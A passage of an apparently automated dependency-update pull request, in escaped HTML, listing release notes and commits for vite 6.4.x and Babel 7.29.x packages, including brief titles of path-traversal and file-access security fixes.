href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20932\"\u003e#20932\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ca6455ee9eb6111a9caa9810506a1b9ac96a520a\"\u003eca6455e\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20932\"\u003e#20932\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.7 (2025-10-14)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(esbuild): inject esbuild helpers correctly for esbuild 0.25.9+ (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20940\"\u003e#20940\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c59a222aa584c087cfe710173de1b9ecb597a3ff\"\u003ec59a222\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20940\"\u003e#20940\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.6 (2025-09-08)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply \u003ccode\u003efs.strict\u003c/code\u003e check to HTML files (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20736\"\u003e#20736\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f\"\u003e0ab19ea\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20736\"\u003e#20736\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: upgrade sirv to 3.0.2 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20735\"\u003e#20735\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e11d24008b97d4ca731ecc1a3b95260a6d12e7e0\"\u003ee11d240\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20735\"\u003e#20735\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: detect ts support via \u003ccode\u003eprocess.features\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20544\"\u003e#20544\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7d9922972b62329d37a71d4da5a4a382d0bf8a79\"\u003e7d99229\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20544\"\u003e#20544\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.5 (2025-05-05)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(ssr): handle uninitialized export access as undefined (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19959\"\u003e#19959\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fd38d076fe2455aac1e00a7b15cd51159bf12bb5\"\u003efd38d07\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19959\"\u003e#19959\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.4 (2025-04-30)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: check static serve file inside sirv (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19965\"\u003e#19965\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c22c43de612eebb6c182dd67850c24e4fab8cacb\"\u003ec22c43d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19965\"\u003e#19965\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(optimizer): return plain object when using \u003ccode\u003erequire\u003c/code\u003e to import externals in optimized dependenci (\u003ca href=\"https://github.com/vitejs/vite/commit/efc5eab253419fde0a6a48b8d2f233063d6a9643\"\u003eefc5eab\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19940\"\u003e#19940\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/6c2c881f15495738ff03bc1d67cc052c07e0cac4\"\u003e\u003ccode\u003e6c2c881\u003c/code\u003e\u003c/a\u003e release: v6.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/96b0c10162e9c55485d922db2cfc6b8227cbc176\"\u003e\u003ccode\u003e96b0c10\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22572\"\u003e#22572\u003c/a\u003e, reject windows alternate paths (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22576\"\u003e#22576\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/8fed5cf540c0d475266787f52072f258478cd42f\"\u003e\u003ccode\u003e8fed5cf\u003c/code\u003e\u003c/a\u003e fix(deps): backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22571\"\u003e#22571\u003c/a\u003e, reject UNC paths for launch-editor-middleware (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/6b3fad02abd550bd7b79934ff92c58dbd7f33045\"\u003e\u003ccode\u003e6b3fad0\u003c/code\u003e\u003c/a\u003e release: v6.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca4da5d1fb45c9cfdce606aa30825095791b164b\"\u003e\u003ccode\u003eca4da5d\u003c/code\u003e\u003c/a\u003e fix: avoid path traversal with optimize deps sourcemap handler (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22161\"\u003e#22161\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/fe28e47e9463e4c9619f94bfa06d2f8f1411b44b\"\u003e\u003ccode\u003efe28e47\u003c/code\u003e\u003c/a\u003e fix: apply server.fs check to env transport (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22159\"\u003e#22159\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22163\"\u003e#22163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/5487f4f641f70c47ea05fd101a4319897df048b3\"\u003e\u003ccode\u003e5487f4f\u003c/code\u003e\u003c/a\u003e release: v6.4.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/1114b5d7ea03e26572708715343bec69db4536e8\"\u003e\u003ccode\u003e1114b5d\u003c/code\u003e\u003c/a\u003e fix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20969\"\u003e#20969\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/f12697c0f64b9a37196b9ab218a0911829d5b103\"\u003e\u003ccode\u003ef12697c\u003c/code\u003e\u003c/a\u003e release: v6.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca6455ee9eb6111a9caa9810506a1b9ac96a520a\"\u003e\u003ccode\u003eca6455e\u003c/code\u003e\u003c/a\u003e feat: allow passing down resolved config to vite's createServer (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20932\"\u003e#20932\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitejs/vite/commits/v6.4.3/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for vite since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@babel/core` from 7.23.9 to 7.29.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/babel/babel/releases\"\u003e@​babel/core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.29.7 (2026-05-25)\u003c/h2\u003e\n\u003cp\u003eRe-release all packages with npm provenance attestations\u003c/p\u003e\n\u003ch2\u003ev7.29.6 (2026-05-25)\u003c/h2\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-generator\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/18014\"\u003e#18014\u003c/a\u003e Catchup source map position in preserveFormat (\u003ca href=\"https://github.com/nicolo-ribaudo\"\u003e\u003ccode\u003e@​nicolo-ribaudo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-core\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/18001\"\u003e#18001\u003c/a\u003e [7.x packport]Improve input source map handling (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-core\u003c/code\u003e, \u003ccode\u003ebabel-generator\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17998\"\u003e#17998\u003c/a\u003e Preserve original identifier names from input sourcemaps (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17992\"\u003e#17992\u003c/a\u003e) (\u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCommitters: 3\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eHuáng Jùnliàng (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMateusz Burzyński (\u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNicolò Ribaudo (\u003ca href=\"https://github.com/nicolo-ribaudo\"\u003e\u003ccode\u003e@​nicolo-ribaudo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.5 (2026-05-05)\u003c/h2\u003e\n\u003ch4\u003e:house:  Internal\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-preset-env\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate \u003ccode\u003e@babel/*\u003c/code\u003e dependencies\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.4 (2026-05-05)\u003c/h2\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-plugin-transform-modules-systemjs\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17974\"\u003e#17974\u003c/a\u003e [7.x backport]fix(systemjs): improve module string name support (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCommitters: 1\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eHuáng Jùnliàng (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.3 (2026-04-30)\u003c/h2\u003e\n\u003ch4\u003e:eyeglasses: Spec Compliance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-parser\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17923\"\u003e#17923\u003c/a\u003e Support flow extends bound (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-helper-create-class-features-plugin\u003c/code\u003e, \u003ccode\u003ebabel-plugin-proposal-decorators\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17931\"\u003e#17931\u003c/a\u003e fix(decorators): replace super within all removed static elements (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-register\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17915\"\u003e#17915\u003c/a\u003e Fix thread synchronization issues in \u003ccode\u003e@babel/register\u003c/code\u003e (\u003ca href=\"https://github.com/liuxingbaoyu\"\u003e\u003ccode\u003e@​liuxingbaoyu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-compat-data\u003c/code\u003e, \u003ccode\u003ebabel-plugin-bugfix-safari-rest-destructuring-rhs-array\u003c/code\u003e, \u003ccode\u003ebabel-preset-env\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17788\"\u003e#17788\u003c/a\u003e Add bugfix plugin for Safari array rest destructuring bug (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e:nail_care: Polish\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-parser\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/4fba7541180bf5f58256d8e358b544e3831ad090\"\u003e\u003ccode\u003e4fba754\u003c/code\u003e\u003c/a\u003e v7.29.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/04ea6b27fdac8f40c3481aec2080ac9678779509\"\u003e\u003ccode\u003e04ea6b2\u003c/code\u003e\u003c/a\u003e v7.29.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/99f498a9b9fa0b900d603fbe8f6601bb3b9e42bb\"\u003e\u003ccode\u003e99f498a\u003c/code\u003e\u003c/a\u003e [7.x packport]Improve input source map handling (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/18001\"\u003e#18001\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/feba0a3654c596bd369d1ef1231f5d56666d56dc\"\u003e\u003ccode\u003efeba0a3\u003c/code\u003e\u003c/a\u003e Preserve original identifier names from input sourcemaps (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17992\"\u003e#17992\u003c/a\u003e) (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17998\"\u003e#17998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/aa8394e454337d118ac3d40bfa3ee1a3cb3f3ed2\"\u003e\u003ccode\u003eaa8394e\u003c/code\u003e\u003c/a\u003e v7.29.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/ad0d03f0c92404a60ec6b1c12f15febd38e2397a\"\u003e\u003ccode\u003ead0d03f\u003c/code\u003e\u003c/a\u003e [7.x backport] feat: Allow specifying startLine in code frame (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17739\"\u003e#17739\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/d7f400889567ae18ef9ac41b024b5120f6060e17\"\u003e\u003ccode\u003ed7f4008\u003c/code\u003e\u003c/a\u003e v7.28.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/e130225028e93e106135586f344cfa44c4aac847\"\u003e\u003ccode\u003ee130225\u003c/code\u003e\u003c/a\u003e Polish(standalone): improve message on invalid preset/plugin (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17606\"\u003e#17606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/99dcba5e71de3bd81ce14077cfa5b6df58e9b177\"\u003e\u003ccode\u003e99dcba5\u003c/code\u003e\u003c/a\u003e chore: enable some ts-eslint rules (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17592\"\u003e#17592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/c92c4919771105140015167f25f7bacac77c90d9\"\u003e\u003ccode\u003ec92c491\u003c/code\u003e\u003c/a\u003e Improve Unicode handling in code-frame tokenizer (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-core/issues/17589\"\u003e#17589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/babel/babel/commits/v7.29.7/packages/babel-core\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​babel/core\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@babel/plugin-transform-modules-systemjs` from 7.23.9 to 7.29.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/babel/babel/releases\"\u003e@​babel/plugin-transform-modules-systemjs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.29.7 (2026-05-25)\u003c/h2\u003e\n\u003cp\u003eRe-release all packages with npm provenance attestations\u003c/p\u003e\n\u003ch2\u003ev7.29.6 (2026-05-25)\u003c/h2\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-generator\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/18014\"\u003e#18014\u003c/a\u003e Catchup source map position in preserveFormat (\u003ca href=\"https://github.com/nicolo-ribaudo\"\u003e\u003ccode\u003e@​nicolo-ribaudo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-core\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/18001\"\u003e#18001\u003c/a\u003e [7.x packport]Improve input source map handling (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-core\u003c/code\u003e, \u003ccode\u003ebabel-generator\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17998\"\u003e#17998\u003c/a\u003e Preserve original identifier names from input sourcemaps (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17992\"\u003e#17992\u003c/a\u003e) (\u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCommitters: 3\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eHuáng Jùnliàng (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMateusz Burzyński (\u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNicolò Ribaudo (\u003ca href=\"https://github.com/nicolo-ribaudo\"\u003e\u003ccode\u003e@​nicolo-ribaudo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.5 (2026-05-05)\u003c/h2\u003e\n\u003ch4\u003e:house:  Internal\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-preset-env\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate \u003ccode\u003e@babel/*\u003c/code\u003e dependencies\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.4 (2026-05-05)\u003c/h2\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-plugin-transform-modules-systemjs\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17974\"\u003e#17974\u003c/a\u003e [7.x backport]fix(systemjs): improve module string name support (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCommitters: 1\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eHuáng Jùnliàng (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.29.3 (2026-04-30)\u003c/h2\u003e\n\u003ch4\u003e:eyeglasses: Spec Compliance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-parser\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17923\"\u003e#17923\u003c/a\u003e Support flow extends bound (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e:bug: Bug Fix\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-helper-create-class-features-plugin\u003c/code\u003e, \u003ccode\u003ebabel-plugin-proposal-decorators\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17931\"\u003e#17931\u003c/a\u003e fix(decorators): replace super within all removed static elements (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-register\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17915\"\u003e#17915\u003c/a\u003e Fix thread synchronization issues in \u003ccode\u003e@babel/register\u003c/code\u003e (\u003ca href=\"https://github.com/liuxingbaoyu\"\u003e\u003ccode\u003e@​liuxingbaoyu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebabel-compat-data\u003c/code\u003e, \u003ccode\u003ebabel-plugin-bugfix-safari-rest-destructuring-rhs-array\u003c/code\u003e, \u003ccode\u003ebabel-preset-env\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/babel/babel/pull/17788\"\u003e#17788\u003c/a\u003e Add bugfix plugin for Safari array rest destructuring bug (\u003ca href=\"https://github.com/JLHwung\"\u003e\u003ccode\u003e@​JLHwung\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e:nail_care: Polish\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebabel-parser\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/4fba7541180bf5f58256d8e358b544e3831ad090\"\u003e\u003ccode\u003e4fba754\u003c/code\u003e\u003c/a\u003e v7.29.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/a458f66074b97d54773db8159af673d23b26079b\"\u003e\u003ccode\u003ea458f66\u003c/code\u003e\u003c/a\u003e v7.29.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/32ebd5aaf2526ddd176fd6a3d1e3dc594abdc8d9\"\u003e\u003ccode\u003e32ebd5a\u003c/code\u003e\u003c/a\u003e [7.x backport]fix(systemjs): improve module string name support (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17974\"\u003e#17974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/aa8394e454337d118ac3d40bfa3ee1a3cb3f3ed2\"\u003e\u003ccode\u003eaa8394e\u003c/code\u003e\u003c/a\u003e v7.29.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/0053db620c05acf0036f593b5aaf4e372daa79d0\"\u003e\u003ccode\u003e0053db6\u003c/code\u003e\u003c/a\u003e Update polyfill packages (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17727\"\u003e#17727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/61647ae2397c82c3c71f077b5ab109106a5cac0f\"\u003e\u003ccode\u003e61647ae\u003c/code\u003e\u003c/a\u003e v7.28.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/babel/babel/commit/a177d551adba99773f4ff00ea9bf46550def6132\"\u003e\u003ccode\u003ea177d55\u003c/code\u003e\u003c/a\u003e [Babel 8] Use \u003ccode\u003et.traverseFast\u003c/code\u003e to replace some \u003ccode\u003epath.traverse\u003c/code\u003e (\u003ca href=\"https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs/issues/17518\"\u003e#17518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 